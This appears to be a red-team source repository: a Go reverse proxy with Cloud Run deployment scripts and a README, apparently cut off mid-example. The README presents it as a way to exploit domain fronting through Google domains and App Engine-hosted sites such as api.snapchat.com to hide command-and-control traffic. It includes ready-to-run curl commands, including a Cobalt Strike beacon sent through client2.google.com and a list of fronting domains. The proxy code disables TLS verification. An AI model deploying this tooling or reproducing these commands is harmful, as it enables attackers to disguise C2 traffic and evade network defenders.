├── go.mod ├── .dockerignore ├── Dockerfile ├── uninstall.sh ├── main_test.go ├── deploy.sh ├── main.go ├── LICENSE └── README.md /go.mod: -------------------------------------------------------------------------------- 1 | module google-redirector 2 | 3 | go 1.21 -------------------------------------------------------------------------------- /.dockerignore: -------------------------------------------------------------------------------- 1 | .git 2 | .gitignore 3 | README.md 4 | .env 5 | .env.example 6 | Dockerfile 7 | .dockerignore 8 | *.md -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.21-alpine AS builder 2 | 3 | WORKDIR /app 4 | 5 | COPY go.mod go.sum* ./ 6 | RUN go mod download 7 | 8 | COPY . . 9 | RUN CGO_ENABLED=0 GOOS=linux go build -o main . 10 | 11 | FROM alpine:latest 12 | 13 | RUN apk --no-cache add ca-certificates 14 | WORKDIR /root/ 15 | 16 | COPY --from=builder /app/main . 17 | 18 | EXPOSE 8080 19 | 20 | CMD ["./main"] -------------------------------------------------------------------------------- /uninstall.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | # Check for redirector name argument 6 | if [ -z "$1" ]; then 7 | echo "❌ Error: Redirector name is required" 8 | echo "Usage: ./uninstall.sh " 9 | echo "Example: ./uninstall.sh panw" 10 | exit 1 11 | fi 12 | 13 | REDIRECTOR_NAME="$1" 14 | echo "🗑️ Uninstalling Google Redirector '$REDIRECTOR_NAME'" 15 | 16 | PROJECT_ID=$(gcloud config get-value project) 17 | if [ -z "$PROJECT_ID" ]; then 18 | echo "❌ Error: No GCP project configured. Run 'gcloud config set project YOUR-PROJECT-ID' first" 19 | exit 1 20 | fi 21 | 22 | echo "📋 Using GCP project: $PROJECT_ID" 23 | SERVICE_NAME="redirector-$REDIRECTOR_NAME" 24 | REGION=${GOOGLE_CLOUD_REGION:-"us-central1"} 25 | REPO_NAME="google-redirector" 26 | IMAGE_NAME="$REGION-docker.pkg.dev/$PROJECT_ID/$REPO_NAME/$SERVICE_NAME" 27 | 28 | echo "☁️ Deleting Cloud Run service '$SERVICE_NAME'..." 29 | gcloud run services delete $SERVICE_NAME \ 30 | --region $REGION \ 31 | --quiet || echo "⚠️ Service '$SERVICE_NAME' not found or already deleted" 32 | 33 | echo "🗑️ Deleting container image '$IMAGE_NAME'..." 34 | gcloud artifacts docker images delete $IMAGE_NAME \ 35 | --quiet || echo "⚠️ Image '$IMAGE_NAME' not found or already deleted" 36 | 37 | echo "✅ Uninstall complete for redirector '$REDIRECTOR_NAME'" 38 | echo "ℹ️ Note: Artifact Registry repository '$REPO_NAME' is shared and not deleted" 39 | echo "🌐 To delete the repository (affects ALL redirectors):" 40 | echo " gcloud artifacts repositories delete $REPO_NAME --location=$REGION" -------------------------------------------------------------------------------- /main_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "net/http" 5 | "net/http/httptest" 6 | "net/http/httputil" 7 | "net/url" 8 | "testing" 9 | ) 10 | 11 | func TestProxy_ServeHTTP(t *testing.T) { 12 | // Create a test server to act as the backend 13 | backend := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 14 | w.WriteHeader(http.StatusOK) 15 | w.Write([]byte("Backend response")) 16 | })) 17 | defer backend.Close() 18 | 19 | // Parse backend URL 20 | backendURL, _ := url.Parse(backend.URL) 21 | proxy := httputil.NewSingleHostReverseProxy(backendURL) 22 | 23 | // Test proxy functionality 24 | req := httptest.NewRequest("GET", "/test", nil) 25 | w := httptest.NewRecorder() 26 | proxy.ServeHTTP(w, req) 27 | 28 | if w.Code != http.StatusOK { 29 | t.Errorf("Expected status 200, got %d", w.Code) 30 | } 31 | 32 | body := w.Body.String() 33 | if body != "Backend response" { 34 | t.Errorf("Expected 'Backend response', got %s", body) 35 | } 36 | } 37 | 38 | func TestProxy_Methods(t *testing.T) { 39 | // Create a test server to act as the backend 40 | backend := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 41 | w.WriteHeader(http.StatusOK) 42 | w.Write([]byte(r.Method)) 43 | })) 44 | defer backend.Close() 45 | 46 | // Parse backend URL 47 | backendURL, _ := url.Parse(backend.URL) 48 | proxy := httputil.NewSingleHostReverseProxy(backendURL) 49 | 50 | methods := []string{"GET", "POST", "PUT", "DELETE"} 51 | 52 | for _, method := range methods { 53 | req := httptest.NewRequest(method, "/", nil) 54 | w := httptest.NewRecorder() 55 | proxy.ServeHTTP(w, req) 56 | 57 | if w.Code != http.StatusOK { 58 | t.Errorf("Method %s: expected status 200, got %d", method, w.Code) 59 | } 60 | 61 | if w.Body.String() != method { 62 | t.Errorf("Method %s: expected %s, got %s", method, method, w.Body.String()) 63 | } 64 | } 65 | } -------------------------------------------------------------------------------- /deploy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | # Check for redirector name argument 6 | if [ -z "$1" ]; then 7 | echo "❌ Error: Redirector name is required" 8 | echo "Usage: ./deploy.sh " 9 | echo "Example: ./deploy.sh acmecorp" 10 | exit 1 11 | fi 12 | 13 | REDIRECTOR_NAME="$1" 14 | echo "🚀 Deploying Google Redirector '$REDIRECTOR_NAME' to Google Cloud Run" 15 | 16 | if [ -z "$BACKEND_URL" ]; then 17 | echo "❌ Error: BACKEND_URL environment variable is not set" 18 | echo "Example: export BACKEND_URL=https://your-backend.com" 19 | exit 1 20 | fi 21 | 22 | PROJECT_ID=$(gcloud config get-value project) 23 | if [ -z "$PROJECT_ID" ]; then 24 | echo "❌ Error: No GCP project configured. Run 'gcloud config set project YOUR-PROJECT-ID' first" 25 | exit 1 26 | fi 27 | 28 | echo "📋 Using GCP project: $PROJECT_ID" 29 | SERVICE_NAME="redirector-$REDIRECTOR_NAME" 30 | REGION=${GOOGLE_CLOUD_REGION:-"us-central1"} 31 | REPO_NAME="google-redirector" 32 | IMAGE_NAME="$REGION-docker.pkg.dev/$PROJECT_ID/$REPO_NAME/$SERVICE_NAME" 33 | 34 | echo "🏗️ Setting up Artifact Registry repository..." 35 | gcloud artifacts repositories create $REPO_NAME \ 36 | --repository-format=docker \ 37 | --location=$REGION \ 38 | --description="Google Cloud Redirector images" \ 39 | --quiet 2>/dev/null || echo "Repository already exists, continuing..." 40 | 41 | echo "📦 Building Docker image..." 42 | docker build -t $IMAGE_NAME . 43 | 44 | echo "🔐 Configuring Docker for Artifact Registry..." 45 | gcloud auth configure-docker $REGION-docker.pkg.dev 46 | 47 | echo "📤 Pushing image to Artifact Registry..." 48 | docker push $IMAGE_NAME 49 | 50 | echo "☁️ Deploying to Cloud Run..." 51 | gcloud run deploy $SERVICE_NAME \ 52 | --image $IMAGE_NAME \ 53 | --platform managed \ 54 | --region $REGION \ 55 | --allow-unauthenticated \ 56 | --set-env-vars "BACKEND_URL=$BACKEND_URL" \ 57 | --memory 512Mi \ 58 | --cpu 1 \ 59 | --concurrency 100 \ 60 | --timeout 300 \ 61 | --max-instances 10 \ 62 | --min-instances 1 63 | 64 | echo "✅ Deployment complete!" 65 | echo "🌐 Service URL:" 66 | gcloud run services describe $SERVICE_NAME --platform managed --region $REGION --format 'value(status.url)' 67 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "crypto/tls" 6 | "fmt" 7 | "io" 8 | "log" 9 | "net" 10 | "net/http" 11 | "net/http/httputil" 12 | "net/url" 13 | "os" 14 | "strings" 15 | "sync" 16 | "time" 17 | ) 18 | 19 | func main() { 20 | backendURL := getEnv("BACKEND_URL", "https://your-backend-server.com") 21 | 22 | target, err := url.Parse(backendURL) 23 | if err != nil { 24 | log.Fatalf("Failed to parse BACKEND_URL: %v", err) 25 | } 26 | 27 | // Always skip TLS verification for simplicity 28 | proxy := httputil.NewSingleHostReverseProxy(target) 29 | 30 | proxy.Transport = &http.Transport{ 31 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 32 | } 33 | 34 | // Simple logging 35 | originalDirector := proxy.Director 36 | proxy.Director = func(req *http.Request) { 37 | originalDirector(req) 38 | log.Printf("%s %s -> %s", req.Method, req.URL.Path, req.URL.String()) 39 | } 40 | 41 | // Error handler 42 | proxy.ErrorHandler = func(rw http.ResponseWriter, req *http.Request, err error) { 43 | log.Printf("Proxy error: %v", err) 44 | rw.WriteHeader(http.StatusBadGateway) 45 | rw.Write([]byte("Bad Gateway")) 46 | } 47 | 48 | // WebSocket and HTTP handler 49 | http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { 50 | // Check if this is a WebSocket upgrade request 51 | if isWebSocketRequest(r) { 52 | handleWebSocket(w, r, target) 53 | } else { 54 | proxy.ServeHTTP(w, r) 55 | } 56 | }) 57 | 58 | log.Printf("Google redirector starting on port 8080") 59 | log.Printf("Proxying to: %s", backendURL) 60 | log.Printf("TLS verification: disabled") 61 | log.Printf("WebSocket support: enabled") 62 | 63 | if err := http.ListenAndServe(":8080", nil); err != nil { 64 | log.Fatalf("Server failed to start: %v", err) 65 | } 66 | } 67 | 68 | func getEnv(key, defaultValue string) string { 69 | if value := os.Getenv(key); value != "" { 70 | return value 71 | } 72 | return defaultValue 73 | } 74 | 75 | func isWebSocketRequest(r *http.Request) bool { 76 | return strings.ToLower(r.Header.Get("Upgrade")) == "websocket" && 77 | strings.Contains(strings.ToLower(r.Header.Get("Connection")), "upgrade") 78 | } 79 | 80 | func handleWebSocket(w http.ResponseWriter, r *http.Request, target *url.URL) { 81 | log.Printf("WebSocket upgrade request: %s %s", r.Method, r.URL.Path) 82 | 83 | // Build backend WebSocket URL 84 | backendURL := &url.URL{ 85 | Scheme: "ws", 86 | Host: target.Host, 87 | Path: r.URL.Path, 88 | RawQuery: r.URL.RawQuery, 89 | } 90 | if target.Scheme == "https" { 91 | backendURL.Scheme = "wss" 92 | } 93 | 94 | log.Printf("Connecting to backend WebSocket: %s", backendURL) 95 | 96 | // Connect to backend 97 | backendConn, backendResp, err := dialBackendWebSocket(backendURL, r) 98 | if err != nil { 99 | log.Printf("Backend WebSocket dial failed: %v", err) 100 | http.Error(w, "Failed to connect to backend", http.StatusBadGateway) 101 | return 102 | } 103 | defer backendConn.Close() 104 | 105 | // Hijack client connection 106 | hijacker, ok := w.(http.Hijacker) 107 | if !ok { 108 | log.Printf("Hijacking not supported") 109 | http.Error(w, "Hijacking not supported", http.StatusInternalServerError) 110 | return 111 | } 112 | 113 | clientConn, _, err := hijacker.Hijack() 114 | if err != nil { 115 | log.Printf("Hijack failed: %v", err) 116 | return 117 | } 118 | defer clientConn.Close() 119 | 120 | // Send 101 Switching Protocols response to client 121 | if err := writeSwitchingProtocols(clientConn, r, backendResp); err != nil { 122 | log.Printf("Failed to send upgrade response: %v", err) 123 | return 124 | } 125 | 126 | log.Printf("WebSocket connection established, proxying data...") 127 | 128 | // Bidirectional copy 129 | var wg sync.WaitGroup 130 | wg.Add(2) 131 | 132 | go pipe(backendConn, clientConn, "client→backend", &wg) 133 | go pipe(clientConn, backendConn, "backend→client", &wg) 134 | 135 | wg.Wait() 136 | } 137 | 138 | func dialBackendWebSocket(u *url.URL, r *http.Request) (net.Conn, *http.Response, error) { 139 | // Determine host and port 140 | host := u.Host 141 | if !strings.Contains(host, ":") { 142 | if u.Scheme == "wss" { 143 | host += ":443" 144 | } else { 145 | host += ":80" 146 | } 147 | } 148 | 149 | // Dial TCP connection 150 | conn, err := net.DialTimeout("tcp", host, 10*time.Second) 151 | if err != nil { 152 | return nil, nil, err 153 | } 154 | 155 | // Wrap with TLS if wss 156 | if u.Scheme == "wss" { 157 | tlsConn := tls.Client(conn, &tls.Config{ 158 | ServerName: u.Hostname(), 159 | InsecureSkipVerify: true, 160 | }) 161 | if err := tlsConn.Handshake(); err != nil { 162 | conn.Close() 163 | return nil, nil, err 164 | } 165 | conn = tlsConn 166 | } 167 | 168 | // Build WebSocket upgrade request 169 | req := &http.Request{ 170 | Method: "GET", 171 | URL: u, 172 | Header: make(http.Header), 173 | Host: u.Host, 174 | } 175 | req.Header.Set("Connection", "Upgrade") 176 | req.Header.Set("Upgrade", "websocket") 177 | 178 | // Forward important headers 179 | req.Header.Set("Sec-WebSocket-Version", r.Header.Get("Sec-WebSocket-Version")) 180 | req.Header.Set("Sec-WebSocket-Key", r.Header.Get("Sec-WebSocket-Key")) 181 | 182 | if proto := r.Header.Get("Sec-WebSocket-Protocol"); proto != "" { 183 | req.Header.Set("Sec-WebSocket-Protocol", proto) 184 | } 185 | 186 | if ext := r.Header.Get("Sec-WebSocket-Extensions"); ext != "" { 187 | req.Header.Set("Sec-WebSocket-Extensions", ext) 188 | } 189 | 190 | if auth := r.Header.Get("Authorization"); auth != "" { 191 | req.Header.Set("Authorization", auth) 192 | } 193 | 194 | // Send upgrade request 195 | if err := req.Write(conn); err != nil { 196 | conn.Close() 197 | return nil, nil, err 198 | } 199 | 200 | // Read response 201 | resp, err := http.ReadResponse(bufio.NewReader(conn), req) 202 | if err != nil { 203 | conn.Close() 204 | return nil, nil, err 205 | } 206 | 207 | if resp.StatusCode != http.StatusSwitchingProtocols { 208 | conn.Close() 209 | return nil, nil, fmt.Errorf("expected 101, got %d", resp.StatusCode) 210 | } 211 | 212 | return conn, resp, nil 213 | } 214 | 215 | func writeSwitchingProtocols(clientConn net.Conn, clientReq *http.Request, backendResp *http.Response) error { 216 | accept := backendResp.Header.Get("Sec-WebSocket-Accept") 217 | if accept == "" { 218 | return fmt.Errorf("missing Sec-WebSocket-Accept from backend") 219 | } 220 | 221 | resp := "HTTP/1.1 101 Switching Protocols\r\n" + 222 | "Upgrade: websocket\r\n" + 223 | "Connection: Upgrade\r\n" + 224 | "Sec-WebSocket-Accept: " + accept + "\r\n" 225 | 226 | // Forward protocol if both sides agree 227 | if proto := clientReq.Header.Get("Sec-WebSocket-Protocol"); proto != "" { 228 | backendProto := backendResp.Header.Get("Sec-WebSocket-Protocol") 229 | if backendProto != "" && strings.Contains(proto, backendProto) { 230 | resp += fmt.Sprintf("Sec-WebSocket-Protocol: %s\r\n", backendProto) 231 | } 232 | } 233 | 234 | resp += "\r\n" 235 | 236 | _, err := clientConn.Write([]byte(resp)) 237 | return err 238 | } 239 | 240 | func pipe(dst, src net.Conn, dir string, wg *sync.WaitGroup) { 241 | defer wg.Done() 242 | 243 | n, err := io.Copy(dst, src) 244 | 245 | if err != nil && !strings.Contains(err.Error(), "use of closed network connection") { 246 | log.Printf("pipe %s error: %v (copied %d bytes)", dir, err, n) 247 | } else { 248 | log.Printf("pipe %s finished (copied %d bytes)", dir, n) 249 | } 250 | 251 | // 1. WebSocket close frame 252 | _ = dst.SetWriteDeadline(time.Now().Add(2 * time.Second)) 253 | _, _ = dst.Write([]byte{0x88, 0x02, 0x03, 0xe8}) 254 | 255 | // 2. Full TLS shutdown (if applicable) 256 | if tc, ok := dst.(*tls.Conn); ok { 257 | _ = tc.Close() // sends + drains close_notify 258 | } else { 259 | // 3. For plain TCP: half-close + full close 260 | if sc, ok := dst.(interface{ CloseWrite() error }); ok { 261 | _ = sc.CloseWrite() 262 | } 263 | _ = dst.Close() 264 | } 265 | } 266 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity granting the License. 13 | 14 | "Legal Entity" shall mean the union of the acting entity and all 15 | other entities that control, are controlled by, or are under common 16 | control with that entity. For the purposes of this definition, 17 | "control" means (i) the power, direct or indirect, to cause the 18 | direction or management of such entity, whether by contract or 19 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 20 | outstanding shares, or (iii) beneficial ownership of such entity. 21 | 22 | "You" (or "Your") shall mean an individual or Legal Entity 23 | exercising permissions granted by this License. 24 | 25 | "Source" shall mean the preferred form for making modifications, 26 | including but not limited to software source code, documentation 27 | source, and configuration files. 28 | 29 | "Object" shall mean any form resulting from mechanical 30 | transformation or translation of a Source form, including but 31 | not limited to compiled object code, generated documentation, 32 | and conversions to other media types. 33 | 34 | "Work" shall mean the work of authorship, whether in Source or 35 | Object form, made available under the License, as indicated by a 36 | copyright notice that is included in or attached to the work 37 | (which shall not include Dependency Work). 38 | 39 | "Derivative Works" shall mean any work, whether in Source or Object 40 | form, that is based upon (or derived from) the Work and for which the 41 | editorial revisions, annotations, elaborations, or other modifications 42 | represent, as a whole, an original work of authorship. For the purposes 43 | of this License, Derivative Works shall not include works that remain 44 | separable from, or merely link (or bind by name) to the interfaces of, 45 | the Work and derivative works thereof. 46 | 47 | "Contribution" shall mean any work of authorship, including 48 | the original version of the Work and any modifications or additions 49 | to that Work or Derivative Works thereof, that is intentionally 50 | submitted to Licensor for inclusion in the Work by the copyright owner 51 | or by an individual or Legal Entity authorized to submit on behalf of 52 | the copyright owner. For the purposes of this definition, "submitted" 53 | means any form of electronic, verbal, or written communication sent 54 | to the Licensor or its representatives, including but not limited to 55 | communication on electronic mailing lists, source code control 56 | systems, and issue tracking systems that are managed by, or on behalf 57 | of, the Licensor for the purpose of discussing and improving the Work, 58 | but excluding communication that is conspicuously marked or otherwise 59 | designated in writing by the copyright owner as "Not a Contribution." 60 | 61 | "Contributor" shall mean Licensor and any individual or Legal Entity 62 | on behalf of whom a Contribution has been received by Licensor and 63 | subsequently incorporated within the Work. 64 | 65 | 2. Grant of Copyright License. Subject to the terms and conditions of 66 | this License, each Contributor hereby grants to You a perpetual, 67 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 68 | copyright license to use, reproduce, modify, merge, publish, 69 | distribute, sublicense, and/or sell copies of the Work, and to 70 | permit persons to whom the Work is furnished to do so, subject to 71 | the following conditions: 72 | 73 | The above copyright notice and this permission notice shall be 74 | included in all copies or substantial portions of the Work. 75 | 76 | 3. Grant of Patent License. Subject to the terms and conditions of 77 | this License, each Contributor hereby grants to You a perpetual, 78 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 79 | (except as stated in this section) patent license to make, have made, 80 | use, offer to sell, sell, import, and otherwise transfer the Work, 81 | where such license applies only to those patent claims licensable 82 | by such Contributor that are necessarily infringed by their 83 | Contribution(s) alone or by combination of their Contribution(s) 84 | with the Work to which such Contribution(s) was submitted. If You 85 | institute patent litigation against any entity (including a 86 | cross-claim or counterclaim in a lawsuit) alleging that the Work 87 | or a Contribution incorporated within the Work constitutes direct 88 | or contributory patent infringement, then any patent licenses 89 | granted to You under this License for that Work shall terminate 90 | as of the date such litigation is filed. 91 | 92 | 4. Redistribution. You may reproduce and distribute copies of the 93 | Work or Derivative Works thereof in any medium, with or without 94 | modifications, and in Source or Object form, provided that You 95 | meet the following conditions: 96 | 97 | (a) You must give any other recipients of the Work or 98 | Derivative Works a copy of this License; and 99 | 100 | (b) You must cause any modified files to carry prominent notices 101 | stating that You changed the files; and 102 | 103 | (c) You must retain, in the Source form of any Derivative Works 104 | that You distribute, all copyright, trademark, patent, 105 | attribution and other notices from the Source form of the Work, 106 | excluding those notices that do not pertain to any part of 107 | the Derivative Works; and 108 | 109 | (d) If the Work includes a "NOTICE" file as part of its 110 | distribution, then any Derivative Works that You distribute must 111 | include a readable copy of the attribution notices contained 112 | within such NOTICE file, excluding those notices that do not 113 | pertain to any part of the Derivative Works, in at least one 114 | of the following places: within a NOTICE file distributed 115 | as part of the Derivative Works; within the Source form or 116 | documentation, if provided along with the Derivative Works; or, 117 | within a display generated by the Derivative Works, if and 118 | wherever such third-party notices normally appear. The contents 119 | of the NOTICE file are for informational purposes only and 120 | do not modify the License. You may add Your own attribution 121 | notices within Derivative Works that You distribute, alongside 122 | or as an addendum to the NOTICE text from the Work, provided 123 | that such additional attribution notices cannot be construed 124 | as modifying the License. 125 | 126 | You may add Your own copyright notice to Your modifications and 127 | may provide additional or different license terms and conditions 128 | for use, reproduction, or distribution of Your modifications, or 129 | for any such Derivative Works as a whole, provided Your use, 130 | reproduction, and distribution of the Work otherwise complies with 131 | the conditions stated in this License. 132 | 133 | 5. Submission of Contributions. Unless You explicitly state otherwise, 134 | any Contribution intentionally submitted for inclusion in the Work 135 | by You to the Licensor shall be under the terms and conditions of 136 | this License, without any additional terms or conditions. 137 | Notwithstanding the above, nothing herein shall supersede or modify 138 | the terms of any separate license agreement you may have executed 139 | with Licensor regarding such Contributions. 140 | 141 | 6. Disclaimer of Warranty. UNLESS REQUIRED BY APPLICABLE LAW OR 142 | AGREED TO IN WRITING, LICENSOR PROVIDES THE WORK (AND EACH 143 | CONTRIBUTOR PROVIDES ITS CONTRIBUTIONS) ON AN "AS IS" BASIS, 144 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR 145 | IMPLIED, INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS 146 | OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY, OR FITNESS FOR A 147 | PARTICULAR PURPOSE. You are solely responsible for determining the 148 | appropriateness of using or redistributing the Work and assume any 149 | risks associated with Your exercise of permissions under this License. 150 | 151 | 7. Limitation of Liability. IN NO EVENT AND UNDER NO LEGAL THEORY, 152 | WHETHER IN TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, 153 | UNLESS REQUIRED BY APPLICABLE LAW (SUCH AS DELIBERATE AND GROSSLY 154 | NEGLIGENT ACTS) OR AGREED TO IN WRITING, SHALL ANY CONTRIBUTOR BE 155 | LIABLE TO YOU FOR DAMAGES, INCLUDING ANY DIRECT, INDIRECT, SPECIAL, 156 | INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER ARISING AS A 157 | RESULT OF THIS License OR OUT OF THE USE OR INABILITY TO USE THE 158 | WORK (INCLUDING BUT NOT LIMITED TO DAMAGES FOR LOSS OF GOODWILL, 159 | WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL 160 | OTHER COMMERCIAL DAMAGES OR LOSSES), EVEN IF SUCH CONTRIBUTOR 161 | HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 162 | 163 | 8. Accepting Warranty or Support. While redistributing the Work or 164 | Derivative Works thereof, You may choose to offer, and charge a fee 165 | for, warranty, indemnity, or other liability obligations and/or 166 | rights consistent with this License. However, in accepting such 167 | obligations, You may act only on Your own behalf and on Your sole 168 | responsibility, not on behalf of any other Contributor, and only if 169 | You agree to indemnify, defend, and hold each Contributor harmless 170 | for any liability incurred by, or claims asserted against, such 171 | Contributor by reason of your accepting any such warranty or support. 172 | 173 | END OF TERMS AND CONDITIONS 174 | 175 | APPENDIX: How to apply the Apache License to your work. 176 | 177 | To apply the Apache License to your work, attach the following 178 | boilerplate notice, with the fields enclosed by brackets "[]" 179 | replaced with your own identifying information. (Don't include 180 | the brackets!) The text should be enclosed in the appropriate 181 | comment syntax for the file format. We also recommend that a 182 | file or class name and description of purpose be included on the 183 | same "printed page" as the copyright notice for easier 184 | identification within third-party archives. 185 | 186 | Copyright 2025 Praetorian Security, Inc. 187 | 188 | Licensed under the Apache License, Version 2.0 (the "License"); 189 | you may not use this file except in compliance with the License. 190 | You may obtain a copy of the License at 191 | 192 | http://www.apache.org/licenses/LICENSE-2.0 193 | 194 | Unless required by applicable law or agreed to in writing, software 195 | distributed under the License is distributed on an "AS IS" BASIS, 196 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 197 | See the License for the specific language governing permissions and 198 | limitations under the License. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 🚀 Google Cloud Redirector 2 | 3 | A lightweight HTTP/HTTPS redirector designed for Google Cloud Run that exploits remaining domain fronting capabilities in Google's infrastructure. While Google has patched domain fronting on their CDN product for customer infrastructure, it still works against certain Google-owned infrastructure and third-party sites hosted on Google App Engine (like api.snapchat.com). This tool leverages these remaining vectors to obscure traffic destinations, including through Google services like Meet and Chrome update infrastructure. 4 | 5 | ## Table of Contents 6 | 7 | - [🚀 Google Cloud Redirector](#-google-cloud-redirector) 8 | - [Table of Contents](#table-of-contents) 9 | - [⚡ How Domain Fronting Works](#-how-domain-fronting-works) 10 | - [📦 Installation](#-installation) 11 | - [🛠️ Deployment](#️-deployment) 12 | - [Quick Deploy](#quick-deploy) 13 | - [Get Your Redirector URL](#get-your-redirector-url) 14 | - [🌐 Using Domain Fronting](#-using-domain-fronting) 15 | - [Basic Usage](#basic-usage) 16 | - [Supported Google Domains](#supported-google-domains) 17 | - [Advanced Examples](#advanced-examples) 18 | - [✨ Features](#-features) 19 | - [🏗️ Architecture](#️-architecture) 20 | - [📊 Monitoring & Management](#-monitoring--management) 21 | - [List Redirectors](#list-redirectors) 22 | - [View Logs](#view-logs) 23 | - [Remove Redirectors](#remove-redirectors) 24 | - [🧪 Testing](#-testing) 25 | - [Local Development](#local-development) 26 | - [Testing Domain Fronting](#testing-domain-fronting) 27 | - [🔧 Configuration](#-configuration) 28 | - [⚠️ Security Considerations](#️-security-considerations) 29 | - [🤝 Contributing](#-contributing) 30 | - [📄 License](#-license) 31 | 32 | ## ⚡ How Domain Fronting Works 33 | 34 | Domain fronting leverages the fact that many CDNs and cloud providers route traffic based on the HTTP Host header rather than the domain used for the initial TLS connection. While Google has fixed domain fronting on their CDN product for customer infrastructure, this redirector exploits the fact that it still works against certain Google-owned infrastructure and third-party services hosted on Google App Engine. 35 | 36 | This means you can still use domain fronting through: 37 | - Select Google-owned domains and services 38 | - Third-party sites hosted on Google App Engine (e.g., api.snapchat.com) 39 | - Other Google infrastructure where Host header routing remains functional 40 | 41 | ``` 42 | 1. Client connects to google.com or api.snapchat.com (TLS handshake) 43 | 2. Client sends Host header: your-redirector.us-central1.run.app 44 | 3. Google infrastructure routes to your Cloud Run service 45 | 4. Your redirector forwards to your backend server 46 | ``` 47 | 48 | **Traffic Flow:** 49 | ``` 50 | Client → google.com/appengine site → GCP Infrastructure → Cloud Run Redirector → Backend Server 51 | (TLS Domain) (Routes by Host header) 52 | ``` 53 | 54 | ## 📦 Installation 55 | 56 | ### Prerequisites 57 | 58 | - [Google Cloud SDK](https://cloud.google.com/sdk/docs/install) installed and authenticated 59 | - [Docker](https://docs.docker.com/get-docker/) installed 60 | - Active GCP project with billing enabled 61 | - [Go 1.21+](https://golang.org/dl/) (optional, for local development) 62 | 63 | ### Quick Setup 64 | 65 | ```bash 66 | # Clone the repository 67 | git clone https://github.com/praetorian-inc/google-redirector 68 | cd google-redirector 69 | 70 | # Configure your GCP project 71 | gcloud config set project YOUR-PROJECT-ID 72 | ``` 73 | 74 | ## 🛠️ Deployment 75 | 76 | ### Quick Deploy 77 | 78 | 1. **Set your backend URL** (where traffic should be forwarded): 79 | ```bash 80 | export BACKEND_URL=https://your-c2-server.com 81 | ``` 82 | 83 | 2. **Deploy the redirector**: 84 | ```bash 85 | ./deploy.sh my-redirector 86 | ``` 87 | 88 | 3. **Save your redirector URL** (output from deploy script): 89 | ``` 90 | Your redirector URL: redirector-my-redirector-abc123xyz.us-central1.run.app 91 | ``` 92 | 93 | ### Get Your Redirector URL 94 | 95 | If you forgot your redirector URL: 96 | ```bash 97 | gcloud run services describe redirector-my-redirector --region us-central1 --format 'value(status.url)' 98 | ``` 99 | 100 | ## 🌐 Using Domain Fronting 101 | 102 | ### Basic Usage 103 | 104 | Once deployed, you can use domain fronting to access your redirector through Google domains: 105 | 106 | ```bash 107 | # Basic GET request 108 | curl -H "Host: redirector-my-redirector-abc123xyz.us-central1.run.app" \ 109 | https://www.google.com/api/data 110 | 111 | # POST request with data 112 | curl -X POST \ 113 | -H "Host: redirector-my-redirector-abc123xyz.us-central1.run.app" \ 114 | -H "Content-Type: application/json" \ 115 | -d '{"user":"test","pass":"123"}' \ 116 | https://client2.google.com/login 117 | 118 | # Custom headers 119 | curl -H "Host: redirector-my-redirector-abc123xyz.us-central1.run.app" \ 120 | -H "X-Custom-Header: value" \ 121 | -H "User-Agent: Mozilla/5.0" \ 122 | https://storage.googleapis.com/path/to/resource 123 | ``` 124 | 125 | ### Supported Domains for Domain Fronting 126 | 127 | The following domains can be used for domain fronting with Google Cloud infrastructure: 128 | 129 | **Google-Owned Domains:** 130 | - `www.google.com` - General purpose fronting 131 | - `client2.google.com` - Software update endpoints 132 | - `storage.googleapis.com` - Cloud storage services 133 | - `accounts.google.com` - Authentication services 134 | - `apis.google.com` - API service endpoints 135 | - `youtube.com` - Video platform 136 | - `dl.google.com` - Download services 137 | - `play.google.com` - Play Store services 138 | - `meet.google.com` - Video conferencing platform 139 | - `*.googleapis.com` - Various Google API endpoints 140 | 141 | **App Engine Hosted Services (*.appspot.com):** 142 | - `api.snapchat.com` → `feelinsonice-hrd.appspot.com` 143 | - Other third-party services that resolve to `*.appspot.com` 144 | 145 | **Note:** You can identify App Engine hosted services by checking if they have CNAMEs pointing to `*.appspot.com`. These services are particularly useful for domain fronting as they route through Google's App Engine infrastructure. 146 | 147 | ### Advanced Examples 148 | 149 | **C2 Beacon Example:** 150 | ```bash 151 | # Cobalt Strike HTTP beacon through domain fronting 152 | curl -X POST \ 153 | -H "Host: redirector-c2-abc123xyz.us-central1.run.app" \ 154 | -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \ 155 | -H "Content-Type: application/octet-stream" \ 156 | --data-binary @beacon.bin \ 157 | https://client2.google.com/updates/check 158 | ``` 159 | 160 | **Using App Engine Hosted Sites:** 161 | ```bash 162 | # Through Snapchat's API (hosted on App Engine) 163 | curl -H "Host: redirector-api-abc123xyz.us-central1.run.app" \ 164 | -H "User-Agent: 